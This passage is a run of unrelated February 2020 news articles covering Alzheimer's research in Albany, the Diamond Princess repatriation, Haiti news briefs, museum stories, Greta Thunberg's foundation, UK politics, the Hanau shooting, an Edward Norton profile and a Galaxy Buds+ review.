years. While it was too early to tell on Friday how many Capital Region institutions would be interested in the mapping project, UAlbany, Albany Medical College and Rensselaer Polytechnic Institute all have various Alzheimers research projects, according to data from the SUNY Research Institute and Center for Economic Growth. UAlbanys RNA Institute, for instance, received a $139,000 National Institutes of Health grant in 2019 to explore A DNA nanotechnology approach for low-cost detection of Alzheimers biomarkers. And Albany Medical College in 2019 was exploring mitochondrial dysfunction in Alzheimers. Found in cells, mitochondria help break down nutrients into energy. Additionally, RPIs Lighting Research Center has a number of studies exploring the use of light in the treatment of Alzheimers. The Associated Press contributed to this report. rkarlin@timesunion.com 518 454 5758 @RickKarlinTU MANILA, Philippines All the Filipino crew and passengers of the Diamond Princess cruise ship that is moored in Japan who tested negative for the coronavirus disease 2019 (COVID-19) have signified their desire to return home to the Philippines, according to the Department of Health (DOH). 495 Filipinos are still on the cruise ship even as the two-week quarantine period has passed. The 43 Filipinos who tested positive for the virus are still admitted in the hospital. So even those that had earlier indicated that they would want to stay behind there has been a change of heart by almost all of them, DOH Secretary Francisco Duque III said. Duque said two chartered planes will be used in repatriating the Pinoy crew and passengers who have voluntarily signified their willingness to return to the Philippines. The DOH official also said they are not discounting any possibility that some of them will still have a change of heart on the very day of their departure. They cannot be sure until iyong magbo-board na because siyempre may mga nagde-decide diyan. Iyong iba they might want to stay behind, others might have second thoughts. Iyong dating ayaw gusto na ngayon. So, lets just have an indicative number of 500, Duque said. The DOH, however, clarified that once any of these Filipinos show any symptoms of COVID-19 before the scheduled repatriation will be automatically deleted from the list and will remain in Japan for treatment. Those asymptomatic will still undergo the 14-day mandatory quarantine upon arrival to the Philippines. (from the report of Dante Amento) /mbmf The post Pinoy crew, passengers of Diamond Princess all want to go home DOH appeared first on UNTV News. Editorials represent the institutional view of the newspaper. They are written and edited by the editorial staff, which operates separately from the news department. Editorial writers are not involved in newsroom operations. Haiti - News : Zapping... 168 people arrested in the South Pierre Yves Lesaye, the spokesperson for the National Police of Haiti (PNH) in the South, revealed this week that from January 13 to February 15, 2020 the South Departmental Directorate of the PNH had arrested 168 people (108 flagrant crimes and 60 with warrant). Arrest of kidnapper "Mafia" The dangerous bandit John Remy aka "Mafia" actively wanted for kidnapping, was arrested Wednesday in the Commune of Croix-des-Bouquets, by agents of the Central Direction of the Judicial Police (DCPJ). He was in possession of a 9mm pistol, 138 cartridges and 5 magazines which the police seized. D-3, The Port-au-Prince Carnival will take place Thursday Guy Francois Junior, the President of the National Carnival Committee, Guy Francois Junior, confirmed that the Carnival was maintened in Port-au-Prince and that the parade would take place at the Champ-de-Mars. In addition, within the framework of regional carnivals he indicated that about twenty musical groups were selected which will be distributed in 5 cities, among others : Cap-Haitien, Les Cayes and St-Marc and affirmed that security will be ensured everywhere "The national police and the Superior Council of the National Police (CSPN) have a responsibility to protect and serve and to provide security. We count on their collaboration" Holidays : https://www.haitilibre.com/en/news-29951-haiti-news-zapping.html Carnival NOTICE : Consulates closed Montreal : The Consulate General of Haiti in Montreal informs the Haitian community in particular and the general public that its offices will be closed, Monday 24 to Wednesday, February 26, 2020 in their entirety, on the occasion of the national carnival in Haiti. Services will resume as usual, Thursday, February 26, 2020 at 9:00 am. Thank you for your understanding Guadeloupe / Martinique / Saint Martin, French part and Dominica : The Consulate General of the Republic of Haiti in Guadeloupe / Martinique / Saint Martin, French part and Dominica wishes to inform that during the carnival festivities, our doors will be closed from February 24 to 26, 2020. Services will resume as usually on Thursday, February 27, 2020. For all emergencies, you can contact us on 0690715565. Happy Carnival 2020! The OPC condemns without reserve The Office for the Protection of the Citizen (OPC), condemns without reserve the acts of vandalism recorded in the premises of the Cabinet of Me Samuel Madistin in the afternoon of February 19 https://www.icihaiti.com/en/news-30070-icihaiti-demonstration-the-cabinet-of-me-madistin-attacked-and-vandalized.html "These acts of violence exerted against the premises of the cabinet of Me Madistin (President of the Foundation Je Klere) and of other scenes of vandalism recorded in the capital constitute an act of intolerance and barbarism endangering many democratic achievements guaranteed by the Haitian constitution [...]" COVID-19 epidemic : February 21 global report Friday, February 21, 2020, the number of people infected worldwide with the Coronavirus COVID-19 (laboratory confirmed cases) amounted to 76,727, an increase of 1,000 cases (+ 1.3%) compared to the previous day https://www.haitilibre.com/en/news-30076-haiti-news-zapping.html ; 2,247 deaths (+ 5.5%) or 118 more than the day before (2,129); 18,562 people healed, that is 2,036 people (+ 12.3%) more than the day before but 8.2 times more healing than death compared to 7.7 times the day before. To date, there have been 1,260 infected people confirmed outside of China (+ 24%), ie 245 more cases. 9 deaths abroad since the start of the epidemic (in December 2019), i.e. 4 more than the previous day : 2 in Iran, 1 in South Korea, 1 in Taiwan, 1 in the Philippines, 2 in Hong Kong , 1 in Japan and 1 in France. Note that China announced Thursday that it has again changed the method of counting patients with the new coronavirus and that it will now include as only cases having passed a laboratory test (as it was initially) and no longer cases diagnosed with an x-ray in the clinic as it was since last February 13 https://www.haitilibre.com/en/news-30010-haiti-flash-coronavirus-the-number-of-infected-and-deaths-explodes-in-24-hours.html HL/ HaitiLibre Extremely rare silver Washington "Seasons" Medal titled The Shepherd and designed by John Trumbull in 1796. It was part of the Historical Society of Pennsylvania's collection until it was auctioned at Stack's Bowers in Baltimore for $43,200 on Nov. 16, 2019. Read more The Historical Society of Pennsylvania realized $2.2 million last November by selling 1,102 commemorative medals from a collection bequeathed to it in 1897. The financial struggles of this nonprofit institution in Center City are worrisome but all too familiar. In 2018, the Philadelphia History Museum abruptly shut down. While it will be rebooted through a partnership with Drexel University, neither the Historical Societys proposed affiliation with the University of Pennsylvania nor with Drexel has borne fruit. HSP calls itself Philadelphias Library of American History with good reason: It is home to a printers proof of the Declaration of Independence, a first draft of the Constitution, a journal of the Underground Railroad, and millions of other handwritten, printed, and engraved materials. Selling commemorative medals said by society officials to be of marginal scholarly and public interest was at best a stopgap measure. Last year, the Historical Society, founded in 1824, laid off one-third of the employees on a staff described as already bare-bones. This suggests a broader, deeper, community-driven effort is needed to strengthen this institution. The society is part of an ecosystem of institutions, including the Library Company of Philadelphia and the Athenaeum of Philadelphia, that support the citys status as a global center for historical research. They are stewards of a legacy that belongs to us all. History is essentially the citys brand, one that attracts millions to visit. But history is more than a story or guides dressed up in Colonial costumes. History lives in the documents, objects, and artifacts collected over the years all of which constitute an inheritance that needs constant care and feeding. And that takes money. The past few years have not been kind. In 2011, for example, the Philadelphia History Museum sold off some of its artifacts and paintings to cover a construction loan. In 2018, the museum shut its doors and eventually entered into an agreement with Drexel University. HSPs dispersal of the medals at a Nov. 16 auction in Baltimore was not widely known until a story last week by Inquirer reporter Stephan Salisbury. The decision to sell struck some critics as needlessly secretive and unlikely to inspire confidence. A statement posted on the HSP website insisted that the decision to deaccession the medals was in line with the institutional mission honed decades ago when the society board voted to no longer collect objects but to focus on curating its archives. HSP management says they have no plans to sell any of its core collections. Thats good news. But it would be better if more of the goals HSP outlined in the 2016 Strategic Vision and Business Plan were achieved: to become an active catalyst and gathering place for a broad, ongoing discussion not only about the past but the future. That will require more work, support, and, yes, more money. That money must come from more than a few donors. The city and the state administering taxpayer dollars should be at the table to help find a longer-term solution. Without figuring that out, its not only the past that disappears it will also be the things and ideas that we ourselves hope to leave behind. Subscriber content preview Image courtesy of the artist and Overduin & Co. Agnieszka Polskas The New Sun depicts a sentient sun that is witness to environmental and ethical collapse on Earth. SEATTLE The Frye Art Museum is presenting Agnieszka Polska: Love Bite, with immersive video installations that address climate change and the specter of mass extinction. . . . On February 22, 1950, in three connecting rooms at the east end of the second floor of the Merrick Building, an art gallery opened at the University of Miami. With a collection of just 30 modern American paintings, the space served as the first public arts institution in Miami, Florida. These were the beginnings of what is now the Lowe Art Museum, which has grown its collection extensively, housing nearly 19,300 works that span 5,000 years of human creativity on every inhabited continent. On the eve of its 70th anniversary, Jill Deupi, Beaux Arts director and chief curator of the Lowe, reflected on this special milestone. I am honored to be standing on the shoulders of those who came before me. Over the course of the past seven decades, the Lowes vast network of supporters and talented staffers have developed a world-class academic art museum for the benefit of the University community and greater South Florida, she said. Deupi states that since the museums inception, the Lowes has been a hub of education, engagement, and self-discovery through art and culture. The museum supports object-centered teaching and learning on our campus as well as in our community: We are an invaluable resource for local residents, including K-12 students, lifelong learners, scholars, artists, and visitors from all over, she said. At its foundation, the call to create the University Art Gallery (as the Lowe was originally named) dates back to the tenure of Bowman Foster Ashe, when UMs then-President was urged by a group of engaged citizens to create a professional art space in our community. Deupi said support from leadership throughout its history has been critical to the museums success. UM President Julio Frenk is proud to see the Lowe mark this important anniversary. The Lowe Art Museum is a cultural, educational, and community treasure enjoyed and cherished by thousands of visitors. We are proud of its legacy and look forward to seeing it continue to flourish in the future, Frenk said. The Lowe, which was recognized in 1985 by the State of Florida as a Major Cultural Institution, was the first museum in Miami-Dade County to receive this designation. Thanks, in part to the prestige that this honor brought, the Lowe continued to expand its remarkable permanent collection, primarily through gifts from beneficent donors. Such growth necessitated a major expansion of its facility in 1991, when 13,000 additional square feet of temporary and permanent exhibition gallery space were added to the Lowe. The Museums most recent expansion, the Myrna and Sheldon Palley Pavilion for Contemporary Glass and Studio Arts, opened in 2008 and added another 4,500 square feet of exhibition space. Thanks to the vision of these long-time University supporters and alumni, the space now houses over one hundred objects, not only from the Palley Collection but also from other generous collectors. Its a fantastic feeling when you love something that turns into a collection that people want to see. Its gratifying to be able to share this work with other people, said Myrna Palley. Deupi also credits the Beaux Arts Festival of Art for the Lowes continued growth. The Beaux Arts Festival, which was originally called the Clothesline Sale, was launched in 1952 as a way to give young artists a chance to meet the buying public. Throughout the years the festival has grown into one of our countrys most significant art fairs, whichnot incidentallyraises funds in support of the museum. Beaux Arts has been with us from the beginning. Without their support, the Lowe would not be the institution that is today, Deupi said. The Lowes director has set her sights high for the future of the Lowe. I see the opportunity for even more growth and reinvigoration because of what is happening in Miamis cultural arena. she said. I do believe in the Art Basel effect, and I think that we havent yet peaked: our vibrant, dynamic, and cosmopolitan city still has plenty of room to grow in the realm of visual arts. The fact that the Lowe is a part of that is very exciting. To celebrate its 70th anniversary, the Lowe Art Museum will feature iconic works of art from fifteen different leading Miami collectors beginning February 22, through December 6, 2020. Exhibited together in the Lowes Ben Tobin Galleries, these works will embody the citys irrefutable importance in the contemporary art world as well as the intimate connection these collectors share with the artists whose work they steward, with one another, and with the city at large. The result will be an extraordinary experience for the nearly 40,000 individuals who visit the Lowe each year. For more information on this exhibition visit: https://www.lowe.miami.edu/ Swedish climate activist Greta Thunberg speaks to participants at a climate change protest on January 17, 2020 in Lausanne, Switzerland. The protest is taking place ahead of the upcoming annual gathering of world leaders at the Davos World Economic Forum. Climate activist Greta Thunberg has used the 1 million Swedish Krona ($102,062) prize money she won in a recent award to launch a non-profit foundation. Thunberg received the Right Livelihood Award, also known as the "alternative Nobel prize," in December and the organization behind the prize announced Thursday that she used her winnings to establish The Greta Thunberg Foundation. The young activist will focus her non-profit on promoting ecological and social sustainability, as well as mental health issues. The 17-year-old announced in January via Instagram that she had set up a foundation, adding that she had applied to trademark her name and the "Fridays for Future" movement she created. The Right Livelihood Foundation said that Thunberg transferred her prize money to establish the foundation, and the funds would also be used for its charitable purposes. Thunberg said her foundation was "strictly non-profit" and she had "no interest in philanthropy," in her announcement in January. She explained that the foundation was needed for "handling money (book royalties, donations, prize money etc.) in a transparent way." Thunberg received the Right Livelihood Award "for inspiring and amplifying political demands for urgent climate action reflecting scientist facts." In addition to her this prize, Thunberg was also named Time magazine's Person of the Year for 2019 for her influential work on climate change and was the youngest person to receive the accolade. Thunberg shot to fame in 2018 for skipping school every Friday to hold a vigil outside the Swedish Parliament calling for action against climate change. Ole von Uexkull, executive director of the Right Livelihood Foundation, said both "urgent and long-term actions were need to stop climate change and create societies that are sustainable from multiple perspectives." He added that mental illness was also a "growing problem around the world, which is often overlooked" and said that the Right Livelihood Foundation believed Thunberg's non-profit would have "great impact and empower much-needed change." The finance minister claimed that the rate of consumption of sugary drinks in the Indonesian society is getting higher amid growth of the public revenue. Imposing excise tax on them is expected to reduce the number of diabetes cases in the country, one of the main causes of death among Indonesians. "Many countries have imposed excise tax on dangerous products, one of which is soft drinks that contain sweeteners. Diabetes is one of the most common diseases happening and it keeps growing amid growth of the public revenue," said Indrawati, the former managing director at the World Bank. The excise tax, she said, would be imposed on sugary and artificially sweetened drinks produced by domestic manufacturers as well as those that are imported. If the planned excise tax is approved by the House of Representatives, Indonesia is expected to receive IDR6.25 trillion (US$456.56 million) per year, the minister estimated. Huw Merriman has publicy criticised Dominic Cummings for his "brutal" attacks on the BBC. (Picture: REUTERS/Hannah McKay) A senior Conservative MP has broken ranks to publicly criticise Boris Johnsons controversial chief advisor. In an interview with The House magazine, Huw Merriman blamed Dominic Cummings brutal methods for what he called a nasty streak running through Downing Street. Cummings has been criticised as being behind what many see as a war between Johnsons government and the media, especially the BBC. Last week claimed reported in the Sunday Times suggested that Number 10 could be prepared to scrap the TV licence fee as part of a move to scale back the broadcasters operations. But Merriman, who who is chairman of the All-Party Parliamentary Group on the BBC, said the ideological trench warfare against the corporation was unedifying. Huw Merriman said the BBC needed a "supportive voice" in the face of "unedifying" attacks from Dominic Cummings. (Picture: Getty) In the interview he defended the BBC, calling it a much-loved British institution. Since the election, the BBC has become the subject of various negative briefings and opinions, he said. Read more: Dominic Cummings now 3/1 to leave Downing Street by end of March Read more: Tony Blair: I would have stopped Brexit and united the country He said as chairman of the APPG for the BBC, he felt the corporation needed a supportive voice in the face of suggestions that it would be: forcibly slimmed down, moved to subscription and, bizarrely, given a whack in the process. And while he said it is absolutely right that the future funding model of the BBC is debated before 2027, he added: Whats not helpful, and unedifying, is waging some ideological trench warfare on the BBC. Merriman said his own preference was to continue with the licence fee but said: Others will take a different view, but I dislike the nasty manner in which this debate is being conducted. It needs to stop. He also raised concerns about Cummings, saying while the PMs senior aide was a breath of fresh air, he was concerned about his brutal methods. Mr Merriman also raised concerns around the somewhat brutal methods of Dominic Cummings Prime Minister Boris Johnsons controversial senior aide at Number 10. Story continues Where I get concerned is the somewhat brutal way behind (his methods). So the BBC is a good example of that, he added. And there seems to be a sort of nasty streak behind some of these briefings. And if our whole mantra is to try and unite the country, after the difficulties weve had over the last couple of years and this Government has a mandate to do that then Im not sure why we need to be quite so divisive in the tone and language that were using. I just dont think its going to end well. Dominic Cummings has been at the centre of controversy in recent weeks. (Picture: Tolga AKMEN / AFP) (Photo by TOLGA AKMEN/AFP via Getty Images) Merrimans comments come amid ongoing tension between the BBC and the Government. Johnson and his ministers have been been accused of boycotting certain programmes, including Radio 4s Today programme, in a move that former home secretary Amber Rudd said felt like the wild west. Cummings has also been at the heart of controversy leading bookies to offer odds of 3/1 that he will leave Downing Street by the end of March. He was seen as the catalyst for the appointment of Downing Street adviser Andrew Sabisky following a callout for weirdos and misfits. It transpired Sabisky had a history of offensive online remarks, including saying black Americans have lower IQs than white Americans, and a comment on Cummings blog in 2014 that compulsory birth control should be imposed to stop creating a permanent underclass. Cummings is also seen to have driven Sajid Javids shock resignation as chancellor. (Newser) A Washington state family's annual Hawaii vacation has ended in apparent tragedy, with the dad now in police custody. People reports that 43-year-old Sonam Saxena, a product manager for Google Cloud, has been arrested on one count of second-degree murder after he told cops his wife disappeared after a Tuesday evening stroll along a beach near their hotel in Anaehoomalu Bay. A statement from the Hawaii Police Department said a body believed to be that of 41-year-old Smriti Saxena was found Wednesday morning in the South Kohala district of the Big Island of Hawaii, and a criminal investigation is underway. After the body was found but before he was taken in by police, Sonam Saxena told West Hawaii Today he'd left his wife on the beach around 10pm Tuesday to retrieve her inhaler for her. story continues below "She got an asthma attack right there on the beach and ... she didn't want to walk all the way back," he told the paper, noting he made it to their room at a nearby Marriott and back in about 40 to 50 minutes. His wife wasn't there, he said, but her purse, phone, and ID were. He said he went back to the hotel, hoping she was there, then called 911 when he saw she wasn't. Saxena helped lead a search for his wife, along with their two children, ages 8 and 13, before his arrest. In a Wednesday tweet, he accused local police of not being responsive to him and tagged Hawaii Gov. David Ige. Fox News notes Saxena also put up a post on LinkedIn pleading for help. "Can you please promote this tweet so that I can tell my daughters where their Mom is #help," he wrote to his network. An autopsy has been scheduled. It's not clear what led cops to arrest Saxena. (Read more murder stories.) V igils are taking place across Germany the night after a Neo-Nazi gunman killed nine people in Hanau. A number of events held for the victims of the terrorist attack, which took place on Thursday night in the town east of Frankfurt, have turned into anti-racist protests. Thousands of people carrying banners with slogans such as "everyone together against right-wing terror" have taken to the streets to denounce xenophobia. The massacre is being treated as a domestic terror attack carried out by a 43-year-old known locally as Tobias R. People gathered for a vigil at the Brandenburg Gate make a human chain in solidarity with victims / Getty Images The Federal Prosecutor's Office said the suspected shooter had published a racist "manifesto" expressing "extreme right-wing views" on his personal website. He targeted locals in two shisha lounges where the customers were predominantly Turkish and Kurdish. Shisha bars offering smoking lounges with traditional Middle Eastern hookah pipes are popular in immigrant communities across Germany. A man holds a banner reading 'We cry for the victims of Hanau, Halle, Kassel, Moelln etc. Stop hate and chevy in social media Google, Facebook, Twitter' / Getty Images After a seven-hour manhunt Tobias R was found in his nearby home where he had fled to and killed himself and his 72-year-old mother. German Kurds have called for stronger government action against far-right radicalism and racism as they mourned the victims of a gun attack on two shisha lounges. Chancellor Angela Merkel talked of the "poison" of racism as she condemned the killings. "Grannies against the Right" reads one placard / REUTERS President Frank-Walter Steinmeier said the country was united against violence as he attended one of around 50 candlelight vigil in German cities. "Politicians must ask themselves, 'how did we get here?'" Metin Kan, who said he was a close friend of one of the people killed in the rampage said. Ayten Kaplan, a German-Kurd occupational therapist from the western city of Essen said words and gestures were not enough. Germany: Hanau Shooting - In pictures 1 /28 Germany: Hanau Shooting - In pictures Reuters A car that alegdgedly belongs to a supect in a killing is lifted on a truck, near the home of the suspect in Hanau, western Germany, AFP via Getty Images Police officers stand near a house that is being searched after a shooting in Hanau, Germany AP Candles lay behind a police cordon in front of one of the bar target in a shooting in Kesselstadt, near Frankfurt AFP via Getty Images Police officers at the scene outside the Midnight hookah bar, one of two bars that were targeted Getty Images Special police forces work at the scene following a deadly shooting attack in Hanau AP Forensic police work at a crime scene in front of a bar at the Heumarkt in the centre of Hanau, near Frankfurt am Main, western Germany AFP via Getty Images Emergency services work at the scene of a shooting in Hanau AFP via Getty Images Forensic police work near a crime scene in front of a bar at the Heumarkt in the centre of Hanau AFP via Getty Images Police handcuff a man near the scene of a shooting in Hanau, Germany AP Forensics enter a building at the scene after a shooting in central Hanau, Germany AP A special forces officer guards the road in front of a house that is searched through by police in Hanau, German AP Gun attacks: Police stand guard near the scene of one of the shootings in central Hanau AP A car covered with rescue blankets stands in front of a bar in Hanua, Germany AP A projectile lies on the sidewalk near a restaurant at the scene of a shooting in central Hanau, Germany AP Forensics investigate at the scene AP A police officer stands guard AP Officers detain a man near a damaged car at the scene after a shooting in Hanau, Germany Reuters Forensic experts outside a shisha bar after a shooting in Hanau near Frankfurt Reuters Police officers secure the area after a shooting in Hanau Reuters Forensic experts are seen outside a shisha bar after a shooting in Hanau near Frankfurt Reuters "We need a national campaign that celebrates Germany's multi-ethnic population and condemns those trying to sow division," she told Reuters. "Some of the people at the shisha bars came to Germany because of persecution at home. The last thing they need is to be made to feel unsafe." The Hanau killings came less than five months after an anti-Semitic gunman opened fire outside a German synagogue on Yom Kippur, the holiest day of the Jewish year, and in a kebab restaurant in the eastern city of Halle, killing two people as he livestreamed his attacks. Police suspect a right-wing motive to the attacks / Getty Images "It is certainly not looking good for minorities - especially Jews and Muslims - and it is not going to get better," said Reinhard Schramm, leader of the Jewish community in the eastern state of Thuringia. He said the rise of the far-right Alternative for Germany (AfD) party after Merkel's 2015 decision to welcome almost one million asylum seekers, mainly Muslims from Syria, Iraq and Afghanistan, has contributed to a rise in racism. "The problem is that people are voting for parties whose leaders are clearly racist, anti-Semitic and right-wing radicals," said Schramm. "Of course not all AfD supporters are racist, but the language used by some of its leaders encourages people to translate their racist feelings into violent actions." The AfD, which is the biggest opposition party in the national parliament, denies its leaders harbour racist views and says some of its senior figures are victims of violence and threats from far-left radicals. "This is neither right-wing nor left-wing terror," AfD co-leader Joerg Meuthen wrote on Twitter. Norton renamed him Moses Randolph for fictional purposes hardly an impenetrable disguise and eventually cast Alec Baldwin, the gold standard in Trump impersonators, in the role. The parallel seems obvious now (although Baldwin does not play Randolph as Trump and Norton says they never discussed it) but for much of the time when he was working over his script, Norton wondered whether the character would even resonate with modern audiences. Barack Obama was elected president, then re-elected. I had this moment then of oh my God, like maybe this has lost all its teeth. Maybe all of this is in the rear-view mirror. We have a black community organiser as our president and were in this kumbaya moment. And then four years later, its like oh my God, its almost like more germane than ever. Where there is this huge confrontation with the sexual manifestation of brute power not even kink, but authoritarian power dynamics, people who believe that power grants you access to whatever you want and other people are just collateral. As it turns out, he judged that 20-year gestational delay perfectly. Edward Norton plays a man with Tourette's Syndrome in Motherless Brooklyn. Credit:Warner Bros. Pictures What seems surprising now is that, having secured the novel, Norton hadnt set about making his Motherless Brooklyn immediately. Ed Norton is quite a singular character himself. At 50 he is strikingly and intensely focused; he talks rapidly, precisely and, as one interviewer put it, like hes always leaning forward. And, by his own assessment, he is less ferociously single-minded now, with outside interests such as parenthood, surfing and founding digital start-ups, than he was when he was young and out to prove himself. Edward Norton plays a Nazi sympathiser in American History X. Credit:New Line Cinema In 1999, he was in mid-surge. Having begun his career in the theatre, he came from a late start to make six notable films in three years, getting Oscar nominations for two of them (legal thriller Primal Fear, in which he played opposite Richard Gere; and American History X, directed by Tony Kaye, about a neo-Nazi). The last of that initial half-dozen was David Finchers enduring cult classic Fight Club, to which he brought a memorably highly strung energy. And he was still only 30, but with a veterans clout. He also, rather less fortunately, had a reputation for being difficult and demanding. That reputation is baked on hard; people routinely ask about it. Equally routinely, he dismisses the stories of behind-the-scenes conflict with directors, other actors and studios as tabloid or social media exaggeration. Inevitably, he will say, there is push and jostle between creative artists focused on producing the best possible work. Picking fights between other people for clickbait is grotesque, he recently scolded a reporter from the New York Times who dared raise the subject. Im not being hyperbolic. Its part of whats problematic in our country. But Norton has always held out against control. Motherless Brooklyn is the second film in which he directs himself the first was Keeping the Faith (2000), a romcom with Ben Stiller as Nortons rival for Jenna Elfman which he says made it possible to experiment with his performance in a way he would not have risked with somebody else ultimately able to choose which shots to use. I knew I was giving myself the raw material to sculpt, he told Script magazine. Which was freeing, because no matter how much you trust a director, you run the risk of self-editing your performance to prevent takes that might not hit the right notes. But directing this film, where I was in control, removed that component from the equation. Perhaps this is what hes always wanted. I say to young actors now, if youre not willing to also be a writer and a director and a producer, youre f---ed, is how he put it in 2003. Take as much control over your own destiny as you possibly can otherwise youre just a pawn in someone elses game. That is one spin on the idea of being directed. Hes a daunting proposition, because youre taking on a collaborator, said David Fincher. And Fincher, whom Norton rates highly, is nobodys pushover. Relations between Edward Norton and Marvel Studios got a little tense during filming of The Incredible Hulk. These collaborations have often taken the form of script rewrites which, even when invited, have not always ended happily. Nortons most famous spat was with Marvel Studios, where he rewrote The Incredible Hulk for what was supposed to be the first film in a long-term residency in the Marvel Comic Universe. When the dust settled, Marvel supremo Kevin Feige announced he would be replaced with an actor who embodies the creativity and collaborative spirit of our other talented cast members. The role of the Hulk, aka Bruce Banner, subsequently went to Nortons friend Mark Ruffalo. It was a vicious thing to say, especially to the public at large, but Norton says there are no hard feelings, that Feige is a commercial genius and that anyway, he could never have pulled off Motherless Brooklyn if he had been committed to being an Avenger. No way. Nor Birdman. Nor Grand Budapest Hotel. None of it, he told The Telegraph. Theres no way you could service that franchise and also give this the kind of focus it takes. Birdman, in which he plays a narcissistic stage actor constantly trying to take over the play in which he is appearing which was sporting, given how the role mirrored the stories told about him brought his third Oscar nomination. Michael Keaton and Edward Norton in Birdman. It is also a demonstrable fact that Norton has forged some excellent working alliances and friendships over the years that proved valuable when he came to make his passion project. The heavyweight cast in Motherless Brooklyn including Baldwin, Willis, Willem Dafoe, Bobby Cannavale, Cherry Jones and Gugu Mbatha-Raw draws on his New York theatre circle. His friend Thom Yorke of Radiohead wrote a suitably melancholic title song. Dick Pope, Mike Leighs regular cinematographer, says he came on board because he had so enjoyed working with Norton on The Illusionist in 2006. I really wanted to like the original Galaxy Buds. They're some of the best-designed true wireless earbuds I tested last year. They're tiny, which makes them comfortable (well, as much as earbuds can be), and they came with a wireless charging case at a time when that still wasn't a standard feature. However, the audio quality was disappointing, call performance was subpar, and limited customization for onboard controls was frustrating. With the new Galaxy Buds+ ($150), Samsung improved its wireless earbuds in many ways, but some things still need work. Samsung Galaxy Buds+ review Better sound, better battery life, better earbuds. One thing that doesn't need fixing is the design. I thought Samsung nailed that last time, so I'm actually glad to see it return. In fact, the Galaxy Buds+ look damn near identical to the previous model. The earbuds are still very small compared to much of the competition, which increases comfort (even for extended periods) and they're a bit more discreet, too. The only real difference between these and the Galaxy Buds is an additional microphone on the outside. Unless you know it's there, and where to look, you probably won't notice. Samsung still includes two sizes of wingtips along with the usual ear tips. These small wings help keep the buds in place, but there's also a wing-less ring in the box if you prefer not to use them. Touch controls are still on the outside of the earbuds. And they behave the same way as they did on the Galaxy Buds, which is to say they're mirrored on both sides. Single tap to play/pause, double-tap to skip tracks forward and triple tap to skip tracks backward. Though the triple tap caused a lot of headaches for me on the last-gen model, it's more reliable here. I'm willing to admit I might be better at these things with another year of practice under my belt. But I can tell you triple tapping rarely worked on the Galaxy Buds, but I nail it more consistently on the Galaxy Buds+. Samsung Galaxy Buds+ review The tap-and-hold action returns, and you can still customize it. And you still have to sacrifice access to a voice assistant to get full volume control on the buds. For tap-and-hold, you can choose between Bixby/Google Assistant/Siri, ambient sound, Spotify access or volume. One big caveat: That one-touch access to Spotify that Samsung hyped during its Unpacked event earlier this month is only available on Android. Bummer. If you do have an Android device, the feature will resume whatever you were listening to on the streaming service. If you weren't listening to anything, Spotify will play "something new" it thinks you'll like. And if you don't like it, you can tap-and-hold again for another selection. Story continues Just like the Galaxy Buds, volume up is only available on the right and volume down can only be assigned to the left. So if you fancy using voice commands, you'll have to sacrifice at least half of your volume controls. Ambient sound is also handy, so that's another feature you'll have to give up if you like the option of quick volume adjustments. There is an alternative option, but it's not a very good one. Inside the Labs section of the companion app, you can activate volume control on the edge of the earbuds. If you do, a double-tap will raise the volume on the right side and lower it on the left. The issue here is that it's difficult to get this work reliably. I either miss it and nothing happens or I get too close to the main touchpad and I skip tracks. If I take an extra few seconds to think about the target, I can usually get it to work on my first attempt. However, trying to do this while on a run only increases the difficulty. Samsung massively improved customization on iOS devices. With the Galaxy Buds, all of the companion software was inside the Galaxy Wearables app, which is to say alongside tools for smartwatches. That piece of software isn't available on iOS, so while you could use the Galaxy Buds with an iPhone, you had to give up a lot of customization. Now there's a separate Galaxy Buds+ app for iOS, so if you prefer Apple products, you're not missing things like ambient sound control, EQ presets, Find my Earbuds, touchpad customization and more. The new app also displays battery life percentage for each bud, which is another handy piece of info. It shows the level for the charging case if it's open and the earbuds are resting inside. Android users will still use the Galaxy Wearables (Wear) app, but the features are mostly the same. On iOS, the Galaxy Buds+ don't sync with notifications and Samsung's Gaming Mode for the earbuds isn't available. It may seem like using these new buds with an iOS device is limited, but trust me, it's a lot better than it used to be. Just having a dedicated app is a huge improvement. It's not surprising that Samsung would make some features exclusive to Android devices, and thankfully, they're things you can probably live without. One-touch access to Spotify is enticing, for example, but I'm not going to give up on-board volume controls for it. As far as the EQ presets go, they're mostly the same. You can choose from Normal (the default), Bass boost, Soft, Dynamic, Clear and Treble boost. In my tests, Dynamic offered the best all-around results across a range of genres. This was also true of the Galaxy Buds. There's ample bass, but it's not muddy or overpowering. The preset has a lot of presence, and details cut through more clearly than on most of the other options. That default Normal setting is also solid, but Dynamic gives things a little more oomph. If you're hoping for more detailed EQ tweaks, Samsung doesn't plan to add anything beyond presets. This means no equalizer curve for you to manipulate to your liking. Overall, I'm impressed with the improvements Samsung made to the audio on the Galaxy Buds+. The sound quality on the last-gen model was just OK, with bass-heavy genres lacking the punch they have on the best-sounding earbuds I've tested. I could've used a little more volume, too. I'm happy to report that Samsung addressed both of those shortcomings. Once again it enlisted its subsidiary AKG to help with the audio, and this time there's a two-way speaker with both a tweeter and a woofer inside. The company claims this offers a 38 percent increase in sound dimension over the Galaxy Buds. Whatever the exact increase, I could tell the difference immediately. Samsung Galaxy Buds+ review The Galaxy Buds did just fine with things like clarity and tone, but the Galaxy Buds+ add the extra low-end the first model lacks. The results across genres are much more consistent. Again, I primarily used the Dynamic setting, and with the exception of Normal mode, I don't think the others were as well rounded. Electronic, hip-hop and metal tracks with booming bass and a massive depth of sound are open and big. They don't seem compressed, nor do they lack the energy captured in those songs. A track like Purity Ring's electrodance-y "stardew" has bombastic bass, but the synths, hi-hats and vocals cut through clearly. There's plenty of space for things to work, so the sound envelopes you rather than feeling like noise simply blasted into your head. I can't overstate how much better these than the first Galaxy Buds in terms of audio. It's night and day. One big feature I haven't mentioned is active noise cancellation (ANC). And that's because ... the Galaxy Buds+ don't have it. They do let you hear what's going on around you with an ambient sound mode, but in terms of countering any noise, you're left with passive noise isolation (i.e., having something in your earholes). The Galaxy Buds+ actually do a decent job here, especially at around 75 or 80 percent volume. I wasn't able to test these on a flight, but they did well at blocking out a noisy TV during my Kindergartener's afternoon binge. Of course, if the Galaxy Buds+ did have ANC, they'd probably cost around $200 or more, so I'm fine with the feature set here. When Samsung introduced the Galaxy Buds, it hyped the call quality. Unfortunately, those claims didn't hold up. Those earbuds picked up a lot of ambient noise, so they basically sounded like you were on speakerphone. That's not ideal when you need to take an important call. With the Galaxy Buds+, the company added an additional exterior microphone on each side in an effort to improve the sound of your voice when you're on a call. Indeed, the new buds do a better job of focusing on your voice and they pick up less background noise than the Galaxy Buds. According to people I called, there was noticeably less "speakerphone" chaos during our conversations. Samsung Galaxy Buds+ review Galaxy Buds vs. Galaxy Buds+ Samsung also improved 